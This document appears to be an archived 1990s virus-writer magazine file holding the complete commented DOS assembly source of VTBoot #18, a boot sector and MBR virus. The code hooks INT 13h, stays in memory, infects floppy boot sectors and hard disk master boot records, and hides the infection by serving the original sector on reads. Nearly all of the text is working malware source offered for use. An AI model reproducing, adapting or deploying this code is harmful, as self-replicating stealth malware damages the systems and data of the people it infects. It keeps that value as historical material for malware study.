home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#4.ZIP / ARTICLE.3_5 < prev    next >
Encoding:
Text File  |  1995-04-27  |  6.2 KB  |  222 lines

  1.  
  2. comment %
  3.  
  4.  
  5.  Family : VTBoot
  6.   Title : VTBoot
  7. Variant : #18
  8.  Author : Dark Fiber [AIH]
  9.  Origin : Australia
  10.    Date : ?
  11. Warhead : N\A
  12.    Type : Boot + MBR with full stealth. only about 240 bytes
  13.           (Eeeeeek. where then did i come up with the figure of 116 bytes? ;)
  14.  
  15. %
  16.  
  17. ORG_LEN EQU 03F                 ;How far into the bootsector our code
  18.                                 ;will start
  19. ORG 0                           ;Set it to binary
  20. JMP SHORT $1                    ;Jump it
  21.  
  22. BOOTPB:
  23. DB ORG_LEN-BOOTPB DUP (?)       ;Null it
  24.  
  25. SECTOR: DB 0                    ;What sector is the host boot on.
  26.  
  27. $1:                             ;Get i13h
  28. XOR AX,AX                       ;Clear DS
  29. MOV DS,AX
  30. INT 12H                         ;Get the top of memory
  31. DEC AX                          ;Subtract 1kb
  32. MOV W[0413],AX                  ;Save new memory size
  33. SHL AX,6                        ;Convert it from kbs to paragraphs
  34. MOV ES,AX                       ;Set the destination to the top of memory
  35.  
  36. CLD                             ;Move our code up there
  37. MOV CX,512/2                    ;512/2
  38. XOR DI,DI                       ;Clear destination
  39. MOV SI,07C00                    ;This is where we started life at
  40. REP MOVSW                       ;Move it
  41.  
  42. MOV SI,04C                      ;Why not just a movsw... heheheh
  43. MOV DI,OFFSET $3+1              ;Set dest to i13h far jump
  44.  
  45. MOVSW                           ;+1
  46. MOVSW                           ;+3 in the far jump to the old i13h
  47. DEC SI,2                        ;Set i13h
  48. MOV W[SI-2],INT13H
  49. MOV W[SI],ES
  50.  
  51. PUSH ES                         ;Set data seg
  52. POP DS
  53.  
  54. PUSH ES,VIR_RET                 ;Jump to code in top of memory
  55. RETF
  56.  
  57. VIR_RET:
  58. PUSH CX                         ;CX == 0
  59. POP ES                          ;Set ES to 0
  60.  
  61. DRIVE:
  62. MOV DL,0                        ;Get the drive number
  63. MOV AX,0201                     ;Read 1 sector
  64. INC CX
  65. MOV BX,07C00                    ;Into bootup position
  66. INT 13H                         ;Go!
  67.  
  68. PUSH ES                         ;Set ds to es
  69. POP DS
  70.  
  71. PUSH ES,BX                      ;Run old boot code
  72. RETF
  73.  
  74. INT13H:                         ;Our i13h code
  75. PUSHF                           ;Unzip me fly. oops, me flag.
  76.  
  77. CMP AH,2                        ;Read?
  78. JE STEALTH
  79.  
  80. CMP AH,0FE                      ;Stealth read
  81. JB $4
  82.  
  83. ADD AH,4                        ;Add 4 to make it a legit read
  84.  
  85. $4:
  86. POPF                            ;Dohickey the flags
  87.  
  88. $3:
  89. JMP 0000:0000                   ;Jump to bios i13h
  90.  
  91. STEALTH:
  92. CMP CX,1                        ;From the first sector
  93. JNE $4
  94. CMP DH,CH                       ;From the first head
  95. JNE $4
  96.  
  97. POPF
  98.  
  99. MOV AH,0FE                      ;Stealth read it into memory
  100. INT 13H
  101.  
  102. PUSHF                           ;Save regs
  103. PUSHA
  104. PUSH ES,DS
  105. JC RETZ1                        ;Error reading sector then quit
  106.  
  107. PUSH ES                         ;Get sector segment
  108. POP DS
  109.  
  110. STRING:
  111. CMP B[BX+1],ORG_LEN-1           ;Is it infected?
  112. JE RETZ1                        ;Yes then don't infect it
  113.                                 ;This checks the jump offset.....
  114.  
  115. INFEX:
  116. PUSH CS                         ;Set extra segment
  117. POP ES
  118.  
  119. CLD
  120. MOV CX,512                      ;Copy the viral code to our code segment
  121. MOV DI,OFFSET ENDV
  122. MOV SI,BX
  123. REP MOVSB
  124.  
  125. PUSH CS                         ;Data seg to our code seg
  126. POP DS
  127.  
  128. MOV B[DRIVE+1],DL               ;Save drive for bootup
  129.  
  130. MOV DH,CH                       ;Set it to head 0 for hd
  131. MOV CL,7                        ; and sector 7
  132.  
  133. TEST DL,80                      ;Check for a hd
  134. JNE $D1
  135.  
  136. $D2:
  137. PUSH DX                         ;Save drive
  138.  
  139. MOV BX,W[FENT1]                 ;1. Multiply entries in root by 32
  140. SHR BX,4                        ;2. Divide by 512 (sector size)
  141. XOR AX,AX                       ;3. Then multiply sectors per fat by copies of
  142. MOV AL,B[COPYF]                 ;   fat
  143. MUL W[SECPF]                    ;5. Add this to other value
  144. ADD BX,AX                       ;6. Subtract the number of sectors per track
  145. MOV CX,BX                       ;
  146. INC CX                          ;
  147. SUB CX,W[SECPT]                 ;
  148.  
  149. POP DX                          ;Restore drive
  150. INC DH                          ;Increment head
  151.  
  152. ;For those of you who are wondering what the above does, it just finds
  153. ;out the location of the last sector in the root directory entires
  154. ;This stops me from having wads of lookup tables like all the other
  155. ;viruses and tons of compare statements.... Plus i get the added bonus
  156. ;of it working on ANY disk size... (In theory anyway)
  157.  
  158. $D1:
  159. MOV SI,OFFSET SECTOR            ;Point to head of viral code
  160. MOV B[SI],CL                    ;Save sector
  161.  
  162. MOV AX,0FF01                    ;Stealth write to disk
  163. MOV BX,OFFSET ENDV              ;The original boot sector
  164. INT 13H
  165.  
  166. MOV W[BX],(OFFSET $1-2)*256 + 0EB       ;Set our jump to the viral code
  167.  
  168. ;SI == SECTOR
  169. ;BX == INFECTED BOOT SECTOR\MBR
  170.  
  171. LEA DI,[SI+512]                 ;Copy viral code into old host code
  172. MOV CX,BUFLEN                   ;To make it look less suspicious
  173. REP MOVSB
  174.  
  175. ;WRITE THE VIRUS TO BOOT SECTOR
  176. MOV DH,CH                       ;Now write the viral code to boot sector
  177. MOV AX,0FF01
  178. INC CX
  179. INT 13H
  180. JMP SHORT RETZ3
  181.  
  182.  
  183. ;This piece of code stealths any infected reads from the user.
  184.  
  185. RETZ1:
  186. MOV DH,1                        ;Head 1
  187. MOV CL,B[BX+SECTOR]             ;Get the sector number
  188. CMP CL,7                        ;If hard disk then make it head 0
  189. JNE RETZ2
  190.  
  191. XOR DH,DH                       ;Clear head
  192.  
  193. RETZ2:
  194. MOV AX,0FE01                    ;Read original host code
  195. INT 13H
  196.  
  197. RETZ3:
  198. POP DS,ES                       ;Restore regs
  199. POPA
  200. POPF
  201.  
  202. TRET:
  203. RETF 2                          ;Quit.. Don't use IRET coz boot loads will
  204.                                 ;hang....
  205.  
  206. db "DF[AIH]"                    ;Well, a little txt string won't hurt
  207.  
  208. XRET:
  209. BUFLEN          EQU $-SECTOR
  210.  
  211. DB 01FE-XRET DUP (?)
  212.  
  213. DB 055,0AA
  214.  
  215. ENDV:
  216.  
  217. FENT1           EQU ENDV+011                    ;ENTRIES IN ROOT
  218. SECPF           EQU ENDV+016                    ;SECTER PER FAT
  219. COPYF           EQU ENDV+010                    ;COPYIES OF FAT
  220. SECPT           EQU ENDV+018                    ;SECTERS PER TRACK
  221.  
  222.